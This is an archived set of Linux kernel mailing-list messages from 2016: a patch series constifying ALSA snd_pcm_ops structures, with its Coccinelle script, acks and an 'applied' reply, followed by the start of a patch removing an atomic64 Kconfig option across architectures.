Original-Received: from palace.rsr.lip6.fr (HELO localhost.localdomain) ([132.227.105.202])
  by mail3-relais-sop.national.inria.fr with ESMTP/TLS/AES128-SHA256; 02 Sep 2016 00:31:07 +0200
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2299479 gmane.linux.kernel.janitors:39216 gmane.linux.alsa.devel:158984 gmane.linux.ports.parisc:26950
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2299479>

Constify snd_pcm_ops structures.

---

 sound/firewire/dice/dice-pcm.c          |    4 ++--
 sound/firewire/digi00x/digi00x-pcm.c    |    4 ++--
 sound/firewire/oxfw/oxfw-pcm.c          |    4 ++--
 sound/firewire/tascam/tascam-pcm.c      |    4 ++--
 sound/pci/ad1889.c                      |    4 ++--
 sound/pci/als300.c                      |    4 ++--
 sound/pci/als4000.c                     |    4 ++--
 sound/pci/asihpi/asihpi.c               |    4 ++--
 sound/pci/atiixp.c                      |    6 +++---
 sound/pci/atiixp_modem.c                |    4 ++--
 sound/pci/aw2/aw2-alsa.c                |    4 ++--
 sound/pci/azt3328.c                     |    6 +++---
 sound/pci/bt87x.c                       |    2 +-
 sound/pci/ca0106/ca0106_main.c          |   16 ++++++++--------
 sound/pci/cmipci.c                      |   10 +++++-----
 sound/pci/cs4281.c                      |    4 ++--
 sound/pci/cs5535audio/cs5535audio_pcm.c |    4 ++--
 sound/pci/ctxfi/ctpcm.c                 |    4 ++--
 sound/pci/emu10k1/emu10k1x.c            |    4 ++--
 sound/pci/emu10k1/emupcm.c              |   12 ++++++------
 sound/pci/emu10k1/p16v.c                |    4 ++--
 sound/pci/ens1370.c                     |    6 +++---
 sound/pci/es1938.c                      |    4 ++--
 sound/pci/es1968.c                      |    4 ++--
 sound/pci/fm801.c                       |    4 ++--
 sound/pci/hda/hda_controller.c          |    2 +-
 sound/pci/ice1712/ice1712.c             |   10 +++++-----
 sound/pci/ice1712/ice1724.c             |   10 +++++-----
 sound/pci/korg1212/korg1212.c           |    4 ++--
 sound/pci/lola/lola_pcm.c               |    2 +-
 sound/pci/lx6464es/lx6464es.c           |    4 ++--
 sound/pci/maestro3.c                    |    4 ++--
 sound/pci/mixart/mixart.c               |    4 ++--
 sound/pci/nm256/nm256.c                 |    4 ++--
 sound/pci/oxygen/oxygen_pcm.c           |   12 ++++++------
 sound/pci/pcxhr/pcxhr.c                 |    2 +-
 sound/pci/riptide/riptide.c             |    4 ++--
 sound/pci/rme32.c                       |   16 ++++++++--------
 sound/pci/rme96.c                       |    8 ++++----
 sound/pci/rme9652/hdsp.c                |    4 ++--
 sound/pci/rme9652/hdspm.c               |    2 +-
 sound/pci/rme9652/rme9652.c             |    4 ++--
 sound/pci/sonicvibes.c                  |    4 ++--
 sound/pci/trident/trident_main.c        |   12 ++++++------
 sound/pci/via82xx.c                     |   10 +++++-----
 sound/pci/via82xx_modem.c               |    4 ++--
 sound/pci/ymfpci/ymfpci_main.c          |   10 +++++-----
 47 files changed, 133 insertions(+), 133 deletions(-)


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Julia Lawall <Julia.Lawall@lip6.fr>
Newsgroups: gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: [PATCH 4/6] ALSA: ad1889: constify snd_pcm_ops
	structures
Date: Fri,  2 Sep 2016 00:13:12 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <1472767994-26269-5-git-send-email-Julia.Lawall@lip6.fr>
References: <1472767994-26269-1-git-send-email-Julia.Lawall@lip6.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1472769216 3737 195.159.176.226 (1 Sep 2016 22:33:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 1 Sep 2016 22:33:36 +0000 (UTC)
Cc: alsa-devel@alsa-project.org, linux-parisc@vger.kernel.org,
 kernel-janitors@vger.kernel.org, linux-kernel@vger.kernel.org,
 Takashi Iwai <tiwai@suse.com>
To: Thibaut Varene <T-Bone@parisc-linux.org>
Original-X-From: alsa-devel-bounces@alsa-project.org Fri Sep 02 00:33:31 2016
Return-path: <alsa-devel-bounces@alsa-project.org>
Envelope-to: glad-alsa-devel-2@m.gmane.org
Original-Received: from alsa0.perex.cz ([77.48.224.243])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <alsa-devel-bounces@alsa-project.org>)
	id 1bfaY3-00005C-9P
	for glad-alsa-devel-2@m.gmane.org; Fri, 02 Sep 2016 00:33:27 +0200
Original-Received: by alsa0.perex.cz (Postfix, from userid 1000)
	id 3D49D2674EC; Fri,  2 Sep 2016 00:33:27 +0200 (CEST)
Original-Received: from alsa0.perex.cz (localhost [127.0.0.1])
	by alsa0.perex.cz (Postfix) with ESMTP id BE6EB26738F;
	Fri,  2 Sep 2016 00:31:26 +0200 (CEST)
X-Original-To: alsa-devel@alsa-project.org
Delivered-To: alsa-devel@alsa-project.org
Original-Received: by alsa0.perex.cz (Postfix, from userid 1000)
 id C7605267333; Fri,  2 Sep 2016 00:31:24 +0200 (CEST)
Original-Received: from mail3-relais-sop.national.inria.fr
 (mail3-relais-sop.national.inria.fr [192.134.164.104])
 by alsa0.perex.cz (Postfix) with ESMTP id AEBB92672B3
 for <alsa-devel@alsa-project.org>; Fri,  2 Sep 2016 00:31:09 +0200 (CEST)
X-IronPort-AV: E=Sophos;i="5.30,268,1470693600"; d="scan'208";a="191765098"
Original-Received: from palace.rsr.lip6.fr (HELO localhost.localdomain)
 ([132.227.105.202])
 by mail3-relais-sop.national.inria.fr with ESMTP/TLS/AES128-SHA256;
 02 Sep 2016 00:31:08 +0200
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1472767994-26269-1-git-send-email-Julia.Lawall@lip6.fr>
X-BeenThere: alsa-devel@alsa-project.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: "Alsa-devel mailing list for ALSA developers -
 http://www.alsa-project.org" <alsa-devel.alsa-project.org>
List-Unsubscribe: <http://mailman.alsa-project.org/mailman/options/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=unsubscribe>
List-Archive: <http://mailman.alsa-project.org/pipermail/alsa-devel/>
List-Post: <mailto:alsa-devel@alsa-project.org>
List-Help: <mailto:alsa-devel-request@alsa-project.org?subject=help>
List-Subscribe: <http://mailman.alsa-project.org/mailman/listinfo/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=subscribe>
Errors-To: alsa-devel-bounces@alsa-project.org
Original-Sender: alsa-devel-bounces@alsa-project.org
Xref: news.gmane.org gmane.linux.alsa.devel:158989 gmane.linux.ports.parisc:26951 gmane.linux.kernel.janitors:39221 gmane.linux.kernel:2299491
Archived-At: <http://permalink.gmane.org/gmane.linux.alsa.devel/158989>

Check for snd_pcm_ops structures that are only stored in the ops field of a
snd_soc_platform_driver structure or passed as the third argument to
snd_pcm_set_ops.  The corresponding field or parameter is declared const,
so snd_pcm_ops structures that have this property can be declared as const
also.

The semantic patch that makes this change is as follows:
(http://coccinelle.lip6.fr/)

// <smpl>
@r disable optional_qualifier@
identifier i;
position p;
@@
static struct snd_pcm_ops i@p = { ... };

@ok1@
identifier r.i;
struct snd_soc_platform_driver e;
position p;
@@
e.ops = &i@p;

@ok2@
identifier r.i;
expression e1, e2;
position p;
@@
snd_pcm_set_ops(e1, e2, &i@p)

@bad@
position p != {r.p,ok1.p,ok2.p};
identifier r.i;
struct snd_pcm_ops e;
@@
e@i@p

@depends on !bad disable optional_qualifier@
identifier r.i;
@@
static
+const
 struct snd_pcm_ops i = { ... };
// </smpl>

Signed-off-by: Julia Lawall <Julia.Lawall@lip6.fr>

---
 sound/pci/ad1889.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index 1fc6d8b..8c36990 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -571,7 +571,7 @@ snd_ad1889_capture_pointer(struct snd_pcm_substream *ss)
 	return bytes_to_frames(ss->runtime, ptr);
 }
 
-static struct snd_pcm_ops snd_ad1889_playback_ops = {
+static const struct snd_pcm_ops snd_ad1889_playback_ops = {
 	.open = snd_ad1889_playback_open,
 	.close = snd_ad1889_playback_close,
 	.ioctl = snd_pcm_lib_ioctl,
@@ -582,7 +582,7 @@ static struct snd_pcm_ops snd_ad1889_playback_ops = {
 	.pointer = snd_ad1889_playback_pointer, 
 };
 
-static struct snd_pcm_ops snd_ad1889_capture_ops = {
+static const struct snd_pcm_ops snd_ad1889_capture_ops = {
 	.open = snd_ad1889_capture_open,
 	.close = snd_ad1889_capture_close,
 	.ioctl = snd_pcm_lib_ioctl,


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Clemens Ladisch <clemens@ladisch.de>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: Re: [alsa-devel] [PATCH 0/6] constify snd_pcm_ops structures
Date: Fri, 2 Sep 2016 09:14:15 +0200
Lines: 6
Approved: news@gmane.org
Message-ID: <71420bc7-76f8-8ee2-31d0-c0b5639d51a3@ladisch.de>
References: <1472767994-26269-1-git-send-email-Julia.Lawall@lip6.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1472800467 13023 195.159.176.226 (2 Sep 2016 07:14:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 2 Sep 2016 07:14:27 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101
        Thunderbird/45.2.0
Cc: Julia Lawall <Julia.Lawall@lip6.fr>,
        Jaroslav Kysela <perex@perex.cz>, alsa-devel@alsa-project.org,
        kernel-janitors@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Takashi Iwai <tiwai@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 02 09:14:23 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bfigA-0002o3-1f
	for glk-linux-kernel-3@m.gmane.org; Fri, 02 Sep 2016 09:14:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752183AbcIBHOU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 2 Sep 2016 03:14:20 -0400
Original-Received: from dehamd003.servertools24.de ([31.47.254.18]:59931 "EHLO
        dehamd003.servertools24.de" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1751124AbcIBHOT (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 2 Sep 2016 03:14:19 -0400
Original-Received: from [10.1.2.4] (unknown [94.101.37.79])
        by dehamd003.servertools24.de (Postfix) with ESMTPSA id 0BE76F5200E5;
        Fri,  2 Sep 2016 09:14:16 +0200 (CEST)
In-Reply-To: <1472767994-26269-1-git-send-email-Julia.Lawall@lip6.fr>
X-PPP-Message-ID: <20160902071416.899660.30079@dehamd003.servertools24.de>
X-PPP-Vhost: ladisch.de
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2299646 gmane.linux.alsa.devel:159001 gmane.linux.kernel.janitors:39226 gmane.linux.ports.parisc:26952
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2299646>

Julia Lawall wrote:
> Constify snd_pcm_ops structures.

For 3/5/6:
Acked-by: Clemens Ladisch <clemens@ladisch.de>


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH 0/6] constify snd_pcm_ops structures
Date: Fri, 02 Sep 2016 11:57:32 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <s5heg52oc8j.wl-tiwai@suse.de>
References: <1472767994-26269-1-git-send-email-Julia.Lawall@lip6.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1472810258 31490 195.159.176.226 (2 Sep 2016 09:57:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 2 Sep 2016 09:57:38 +0000 (UTC)
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.9 (=?UTF-8?B?R29qxY0=?=) APEL/10.8 Emacs/24.5
 (x86_64-suse-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Cc: "Jaroslav Kysela" <perex@perex.cz>, <alsa-devel@alsa-project.org>,
        <kernel-janitors@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
        <linux-parisc@vger.kernel.org>
To: "Julia Lawall" <Julia.Lawall@lip6.fr>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 02 11:57:34 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bflE5-0003wc-Ov
	for glpp-linux-parisc@m.gmane.org; Fri, 02 Sep 2016 11:57:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752517AbcIBJ5e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 2 Sep 2016 05:57:34 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:45244 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751660AbcIBJ5e (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 2 Sep 2016 05:57:34 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 43CFEABE2;
        Fri,  2 Sep 2016 09:57:32 +0000 (UTC)
In-Reply-To: <1472767994-26269-1-git-send-email-Julia.Lawall@lip6.fr>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26953 gmane.linux.alsa.devel:159005 gmane.linux.kernel.janitors:39230 gmane.linux.kernel:2299709
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26953>

On Fri, 02 Sep 2016 00:13:08 +0200,
Julia Lawall wrote:
> 
> Constify snd_pcm_ops structures.

Applied all six patches now.  Thanks.


Takashi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Julia Lawall <julia.lawall@lip6.fr>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH 0/6] constify snd_pcm_ops structures
Date: Fri, 2 Sep 2016 11:05:14 +0100 (IST)
Lines: 20
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.10.1609021104390.3052@hadrien>
References: <1472767994-26269-1-git-send-email-Julia.Lawall@lip6.fr> <s5heg52oc8j.wl-tiwai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: blaine.gmane.org 1472810723 22918 195.159.176.226 (2 Sep 2016 10:05:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 2 Sep 2016 10:05:23 +0000 (UTC)
User-Agent: Alpine 2.10 (DEB 1266 2009-07-14)
Cc: Jaroslav Kysela <perex@perex.cz>, alsa-devel@alsa-project.org,
        kernel-janitors@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 02 12:05:19 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bflLa-000577-94
	for glpp-linux-parisc@m.gmane.org; Fri, 02 Sep 2016 12:05:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752879AbcIBKFT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 2 Sep 2016 06:05:19 -0400
Original-Received: from mail3-relais-sop.national.inria.fr ([192.134.164.104]:19346
        "EHLO mail3-relais-sop.national.inria.fr" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1752636AbcIBKFS (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 2 Sep 2016 06:05:18 -0400
X-IronPort-AV: E=Sophos;i="5.30,270,1470693600"; 
   d="scan'208";a="191813485"
Original-Received: from oag4.wlan.daa.dublin.eircom.net (HELO hadrien.local) ([83.71.193.244])
  by mail3-relais-sop.national.inria.fr with ESMTP/TLS/DHE-RSA-AES256-SHA; 02 Sep 2016 12:05:14 +0200
X-X-Sender: jll@hadrien
In-Reply-To: <s5heg52oc8j.wl-tiwai@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26954 gmane.linux.alsa.devel:159006 gmane.linux.kernel.janitors:39231 gmane.linux.kernel:2299722
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26954>



On Fri, 2 Sep 2016, Takashi Iwai wrote:

> On Fri, 02 Sep 2016 00:13:08 +0200,
> Julia Lawall wrote:
> >
> > Constify snd_pcm_ops structures.
>
> Applied all six patches now.  Thanks.

Thanks.  There are a bunch more for this type, for other directories.  I
will send them shortly.

julia
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch
Subject: [PATCH] atomic64: No need for CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
Date: Thu, 8 Sep 2016 09:28:18 -0700
Lines: 247
Approved: news@gmane.org
Message-ID: <1473352098-5822-1-git-send-email-vgupta@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1473352175 15518 195.159.176.226 (8 Sep 2016 16:29:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Sep 2016 16:29:35 +0000 (UTC)
Cc: Alexey Brodkin <Alexey.Brodkin@synopsys.com>,
        Vineet Gupta <Vineet.Gupta1@synopsys.com>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        "Will Deacon" <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        Thomas Gleixner <tglx@
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Sep 08 18:29:23 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1bi2CU-0002ZL-5M
	for lnx-linux-alpha@m.gmane.org; Thu, 08 Sep 2016 18:29:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1758663AbcIHQ3R (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Thu, 8 Sep 2016 12:29:17 -0400
Original-Received: from smtprelay.synopsys.com ([198.182.47.9]:46899 "EHLO
        smtprelay.synopsys.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1758652AbcIHQ3M (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>); Thu, 8 Sep 2016 12:29:12 -0400
Original-Received: from dc8secmta2.synopsys.com (dc8secmta2.synopsys.com [10.13.218.202])
        by smtprelay.synopsys.com (Postfix) with ESMTP id 36DEA24E0CE4;
        Thu,  8 Sep 2016 09:29:04 -0700 (PDT)
Original-Received: from dc8secmta2.internal.synopsys.com (dc8secmta2.internal.synopsys.com [127.0.0.1])
        by dc8secmta2.internal.synopsys.com (Service) with ESMTP id 2D556A4112;
        Thu,  8 Sep 2016 09:29:04 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (unknown [10.13.184.66])
        by dc8secmta2.internal.synopsys.com (Service) with ESMTP id 59474A4102;
        Thu,  8 Sep 2016 09:29:03 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
        by mailhost.synopsys.com (Postfix) with ESMTP id 1D960E31;
        Thu,  8 Sep 2016 09:29:03 -0700 (PDT)
Original-Received: from US01WEHTC2.internal.synopsys.com (us01wehtc2.internal.synopsys.com [10.12.239.237])
        by mailhost.synopsys.com (Postfix) with ESMTP id 3B2DCDEB;
        Thu,  8 Sep 2016 09:28:56 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
 US01WEHTC2.internal.synopsys.com (10.12.239.237) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Thu, 8 Sep 2016 09:28:52 -0700
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.103) by
 IN01WEHTCB.internal.synopsys.com (10.144.199.105) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Thu, 8 Sep 2016 21:58:50 +0530
Original-Received: from vineetg-Latitude-E7450.internal.synopsys.com (10.9.130.78) by
 IN01WEHTCA.internal.synopsys.com (10.144.199.243) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Thu, 8 Sep 2016 21:58:49 +0530
X-Mailer: git-send-email 2.7.4
X-Originating-IP: [10.9.130.78]
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3876 gmane.linux.kernel:2304284 gmane.linux.ports.arm.kernel:526190 gmane.linux.ports.mips.general:56239 gmane.linux.ports.parisc:26955 gmane.linux.ports.ppc64.devel:132694 gmane.linux.ports.sparc:23615 gmane.linux.kernel.arc:1452 gmane.linux.kernel.cross-arch:33734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3876>

This came to light when implementing native 64-bit atomics for ARCv2.

The atomic64 self-test code uses CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
to check whether atomic64_dec_if_positive() is available.
It seems it was needed when not every arch defined it.
However as of current code the Kconfig option seems needless

- for CONFIG_GENERIC_ATOMIC64 it is auto-enabled in lib/Kconfig and a
  generic definition of API is present lib/atomic64.c
- arches with native 64-bit atomics select it in arch/*/Kconfig and
  define the API in their headers

So I see no point in keeping the Kconfig option

Compile tested for 2 representatives:
 - blackfin (CONFIG_GENERIC_ATOMIC64)
 - x86 (!CONFIG_GENERIC_ATOMIC64)

Also logistics wise it seemed simpler to just do this in 1 patch vs.
splitting per arch - but I can break it up if maintainer feel that
is better to avoid conflicts.

Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Russell King <linux@armlinux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: x86@kernel.org
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Vineet Gupta <vgupta@synopsys.com>
Cc: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
Cc: Linus Walleij <linus.walleij@linaro.org>
Cc: Matthew Wilcox <willy@linux.intel.com>
Cc: Alexander Potapenko <glider@google.com>
Cc: Andrey Ryabinin <aryabinin@virtuozzo.com>
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Cc: Ming Lin <ming.l@ssi.samsung.com>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Borislav Petkov <bp@suse.de>
Cc: Andi Kleen <ak@linux.intel.com>
Cc: Boqun Feng <boqun.feng@gmail.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-snps-arc@lists.infradead.org
Cc: linux-arch@vger.kernel.org
Signed-off-by: Vineet Gupta <vgupta@synopsys.com>
---
 arch/alpha/Kconfig   | 1 -
 arch/arm/Kconfig     | 1 -
 arch/arm64/Kconfig   | 1 -
 arch/mips/Kconfig    | 1 -
 arch/parisc/Kconfig  | 1 -
 arch/powerpc/Kconfig | 1 -
 arch/s390/Kconfig    | 1 -
 arch/sparc/Kconfig   | 1 -
 arch/tile/Kconfig    | 1 -
 arch/x86/Kconfig     | 1 -
 lib/Kconfig          | 3 ---
 lib/atomic64_test.c  | 4 ----
 12 files changed, 17 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 7f312d80b43b..0e49d39ea74a 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -15,7 +15,6 @@ config ALPHA
 	select GENERIC_IRQ_SHOW
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select AUDIT_ARCH
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_SMP_IDLE_THREAD
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index a9c4e48bb7ec..2a50957c7bfb 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -1,7 +1,6 @@
 config ARM
 	bool
 	default y
